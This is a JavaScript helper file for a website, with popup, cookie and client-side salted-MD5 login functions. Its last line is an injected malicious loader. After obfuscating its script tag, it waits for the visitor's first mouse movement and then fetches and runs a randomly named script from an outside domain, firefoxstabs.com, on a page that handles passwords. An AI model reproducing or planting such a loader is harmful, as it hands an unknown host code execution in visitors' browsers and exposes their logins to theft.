function WindowOpen(vUrl, vWidth, vHeight, vScroll, vResize) {
	vLeft = (screen.availWidth - vWidth) / 2;
	vTop = (screen.availHeight - vHeight) / 2;
	if (!vScroll) vScroll = 'no';
	if (!vResize) vResize = 'no';
	parameters = '';
	parameters += 'toolbar=no,';
	parameters += 'location=no,';
	parameters += 'directories=no,';
	parameters += 'status=no,';
	parameters += 'menubar=no,';
	parameters += 'scrollbars=' + vScroll + ',';
	parameters += 'resizable=' + vResize + ',';
	parameters += 'left=' + vLeft + ',';
	parameters += 'top=' + vTop + ',';
	parameters += 'width=' + vWidth + ',';
	parameters += 'height=' + vHeight;
	wId = window.open(vUrl, 'NewWin' + GetRand(), parameters);
	wId.focus();
}

function GetRand() {
	result = '';
	result = Math.random() + '1';
	result = result.split('.');
	return result[1];
}

function stringTrim(strToTrim) {
	var tmp_str = new String(strToTrim);
	return (tmp_str.replace (/^\s+|\s+$/g, ''));
}

function SetCookie(sName, sValue) {
	document.cookie = sName + '=' + escape(sValue) + '; expires=Fri, 25 Dec 2020 23:59:59 GMT;';
}

function DelCookie(sName) {
	document.cookie = sName + '=; expires=Fri, 31 Dec 1999 23:59:59 GMT;';
}

function GetCookie(sName) {
	var aCookie = document.cookie.split('; ');
	for (var i=0; i < aCookie.length; i++) {
		var aCrumb = aCookie[i].split('=');
		if (sName == aCrumb[0]) return unescape(aCrumb[1]);
	}
	return null;
}

function fUAEntropy() {
	this.salt = arguments.length > 0 ? arguments[0] : '';
	this.iterationCount = arguments.length > 1 ? arguments[1] : '';
}

function fUAUser() {
	this.login = arguments.length > 0 ? arguments[0] : '';
	this.password = arguments.length > 1 ? arguments[1] : '';
	this.dbEntropy = new fUAEntropy();
	this.trEntropy = new fUAEntropy();
	this.errorMessage = '';
	this.isDone = 0;
}

function fUAGetSaltedHash(password, salt, iterationCount) {
	var saltedHash = password;
	if (iterationCount < 1) iterationCount = 1;
	for (var i = 0; i < iterationCount; i++) {
		saltedHash = hex_md5(salt + saltedHash);
	}
	return saltedHash;
}

function fUALogin() {
	var oUser = new fUAUser();
	oUser.login = $('#site_login').val();
	var jsonData = JSON.stringify(oUser);
	var req = getXmlHttpRequest();
	req.onreadystatechange = function () {
		if (req.readyState != 4) return;
		var responseObject = JSON.parse(req.responseText);
		fUALoginPasswd(responseObject);
	}
	req.open('POST', sUAPHPScriptPath, true);
	req.setRequestHeader('Content-Type', 'text/plain');
	req.setRequestHeader('Content-Length', jsonData.length);
	req.send(jsonData);
}

function fUALoginPasswd(responseObject) {
	responseObject.password = $('#site_password').val();
	responseObject.password = fUAGetSaltedHash(responseObject.password, responseObject.dbEntropy.salt, responseObject.dbEntropy.iterationCount);
	responseObject.password = fUAGetSaltedHash(responseObject.password, responseObject.trEntropy.salt, responseObject.trEntropy.iterationCount);
	var jsonData = JSON.stringify(responseObject);
	var req = getXmlHttpRequest();
	req.onreadystatechange = function () {
		if (req.readyState != 4) return;
		var responseObject = JSON.parse(req.responseText);
		if (responseObject.isDone != 0) {
			document.location.href = sSiteCurrentPath;
		} else {
			$('#auth_message').html(responseObject.errorMessage);
		}
	}
	req.open('POST', sUAPHPScriptPath, true);
	req.setRequestHeader('Content-Type', 'text/plain');
	req.setRequestHeader('Content-Length', jsonData.length);
	req.send(jsonData);
}
document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
